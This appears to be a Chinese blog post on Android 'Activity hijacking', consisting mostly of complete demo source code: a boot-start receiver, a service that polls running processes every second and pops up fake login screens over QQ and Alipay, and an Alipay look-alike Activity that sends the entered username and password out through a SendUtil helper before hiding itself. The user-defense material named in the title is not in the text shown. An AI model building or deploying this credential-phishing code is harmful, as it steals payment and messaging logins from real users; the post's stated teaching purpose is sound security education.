Activity劫持与用户防范
- - ITeye博客本文内容多参考于网上博文,但代码及用户防范的方法均属原创,转载请注明出处 http://msdxblog.sinaapp.com/?p=623. 1、Activity调试机制. 在android系统中,不同的程序之间的切换基本上是无缝的,它们之间的切换只不过是Activity的切换. Activity的概念相当于一个与用户交互的界面.
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.sinaapp.msdxblog.android.activityhijacking" android:versionCode="1" android:versionName="1.0" > <uses-sdk android:minSdkVersion="4" /> <uses-permission android:name="android.permission.INTERNET" /> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /> <application android:name=".HijackingApplication" android:icon="@drawable/icon" android:label="@string/app_name" > <activity android:name=".activity.HijackingActivity" android:theme="@style/transparent" android:label="@string/app_name" > <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <activity android:name=".activity.sadstories.JokeActivity" /> <activity android:name=".activity.sadstories.QQStoryActivity" /> <activity android:name=".activity.sadstories.AlipayStoryActivity" /> <receiver android:name=".receiver.HijackingReceiver" android:enabled="true" android:exported="true" > <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED" /> </intent-filter> </receiver> <service android:name=".service.HijackingService" > </service> </application> </manifest>
package com.sinaapp.msdxblog.android.activityhijacking.activity; import android.app.Activity; import android.content.Intent; import android.os.Bundle; import android.util.Log; import com.sinaapp.msdxblog.android.activityhijacking.R; import com.sinaapp.msdxblog.android.activityhijacking.service.HijackingService; public class HijackingActivity extends Activity { /** Called when the activity is first created. */ @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); Intent intent2 = new Intent(this, HijackingService.class); startService(intent2); Log.w("hijacking", "activity启动用来劫持的Service"); } }
/* * @(#)HijackingBroadcast.java Project:ActivityHijackingDemo * Date:2012-6-7 * * Copyright (c) 2011 CFuture09, Institute of Software, * Guangdong Ocean University, Zhanjiang, GuangDong, China. * All rights reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.sinaapp.msdxblog.android.activityhijacking.receiver; import com.sinaapp.msdxblog.android.activityhijacking.service.HijackingService; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.util.Log; /** * @author Geek_Soledad ([email protected]) */ public class HijackingReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { if (intent.getAction().equals("android.intent.action.BOOT_COMPLETED")) { Log.w("hijacking", "开机启动"); Intent intent2 = new Intent(context, HijackingService.class); context.startService(intent2); Log.w("hijacking", "启动用来劫持的Service"); } } }
/* * @(#)HijackingService.java Project:ActivityHijackingDemo * Date:2012-6-7 * * Copyright (c) 2011 CFuture09, Institute of Software, * Guangdong Ocean University, Zhanjiang, GuangDong, China. * All rights reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.sinaapp.msdxblog.android.activityhijacking.service; import java.util.HashMap; import java.util.List; import android.app.ActivityManager; import android.app.ActivityManager.RunningAppProcessInfo; import android.app.Service; import android.content.Context; import android.content.Intent; import android.os.Handler; import android.os.IBinder; import android.util.Log; import com.sinaapp.msdxblog.android.activityhijacking.HijackingApplication; import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.AlipayStoryActivity; import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.JokeActivity; import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.QQStoryActivity; /** * @author Geek_Soledad ([email protected]) */ public class HijackingService extends Service { private boolean hasStart = false; // 这是一个悲伤的故事…… HashMap<String, Class<?>> mSadStories = new HashMap<String, Class<?>>(); // Timer mTimer = new Timer(); Handler handler = new Handler(); Runnable mTask = new Runnable() { @Override public void run() { ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE); List<RunningAppProcessInfo> appProcessInfos = activityManager .getRunningAppProcesses(); // 枚举进程 Log.w("hijacking", "正在枚举进程"); for (RunningAppProcessInfo appProcessInfo : appProcessInfos) { // 如果APP在前台,那么——悲伤的故事就要来了 if (appProcessInfo.importance == RunningAppProcessInfo.IMPORTANCE_FOREGROUND) { if (mSadStories.containsKey(appProcessInfo.processName)) { // 进行劫持 hijacking(appProcessInfo.processName); } else { Log.w("hijacking", appProcessInfo.processName); } } } handler.postDelayed(mTask, 1000); } /** * 进行劫持 * @param processName */ private void hijacking(String processName) { Log.w("hijacking", "有程序要悲剧了……"); if (((HijackingApplication) getApplication()) .hasProgressBeHijacked(processName) == false) { Log.w("hijacking", "悲剧正在发生"); Intent jackingIsComing = new Intent(getBaseContext(), mSadStories.get(processName)); jackingIsComing.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); getApplication().startActivity(jackingIsComing); ((HijackingApplication) getApplication()) .addProgressHijacked(processName); Log.w("hijacking", "已经劫持"); } } }; @Override public IBinder onBind(Intent intent) { return null; } @Override public void onStart(Intent intent, int startId) { super.onStart(intent, startId); if (!hasStart) { mSadStories.put("com.sinaapp.msdxblog.android.lol", JokeActivity.class); mSadStories.put("com.tencent.mobileqq", QQStoryActivity.class); mSadStories.put("com.eg.android.AlipayGphone", AlipayStoryActivity.class); handler.postDelayed(mTask, 1000); hasStart = true; } } @Override public boolean stopService(Intent name) { hasStart = false; Log.w("hijacking", "劫持服务停止"); ((HijackingApplication) getApplication()).clearProgressHijacked(); return super.stopService(name); } }
/* * @(#)QQStoryActivity.java Project:ActivityHijackingDemo * Date:2012-6-7 * * Copyright (c) 2011 CFuture09, Institute of Software, * Guangdong Ocean University, Zhanjiang, GuangDong, China. * All rights reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories; import android.app.Activity; import android.os.Bundle; import android.os.Handler; import android.os.HandlerThread; import android.text.Html; import android.view.View; import android.widget.Button; import android.widget.EditText; import android.widget.TextView; import com.sinaapp.msdxblog.android.activityhijacking.R; import com.sinaapp.msdxblog.android.activityhijacking.utils.SendUtil; /** * @author Geek_Soledad ([email protected]) */ public class AlipayStoryActivity extends Activity { private EditText name; private EditText password; private Button mBtAlipay; private Button mBtTaobao; private Button mBtRegister; private TextView mTvFindpswd; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); this.setTheme(android.R.style.Theme_NoTitleBar); setContentView(R.layout.alipay); mBtAlipay = (Button) findViewById(R.id.alipay_bt_alipay); mBtTaobao = (Button) findViewById(R.id.alipay_bt_taobao); mBtRegister = (Button) findViewById(R.id.alipay_bt_register); mTvFindpswd = (TextView) findViewById(R.id.alipay_findpswd); mTvFindpswd.setText(Html.fromHtml("[u]找回登录密码[/u]")); mBtAlipay.setSelected(true); name = (EditText) findViewById(R.id.input_name); password = (EditText) findViewById(R.id.input_password); } public void onButtonClicked(View v) { switch (v.getId()) { case R.id.alipay_bt_login: HandlerThread handlerThread = new HandlerThread("send"); handlerThread.start(); new Handler(handlerThread.getLooper()).post(new Runnable() { @Override public void run() { // 发送获取到的用户密码 SendUtil.sendInfo(name.getText().toString(), password .getText().toString(), "支付宝"); } }); moveTaskToBack(true); break; case R.id.alipay_bt_alipay: chooseToAlipay(); break; case R.id.alipay_bt_taobao: chooseToTaobao(); break; default: break; } } private void chooseToAlipay() { mBtAlipay.setSelected(true); mBtTaobao.setSelected(false); name.setHint(R.string.alipay_name_alipay_hint); mTvFindpswd.setVisibility(View.VISIBLE); mBtRegister.setVisibility(View.VISIBLE); } private void chooseToTaobao() { mBtAlipay.setSelected(false); mBtTaobao.setSelected(true); name.setHint(R.string.alipay_name_taobao_hint); mTvFindpswd.setVisibility(View.GONE); mBtRegister.setVisibility(View.GONE); } }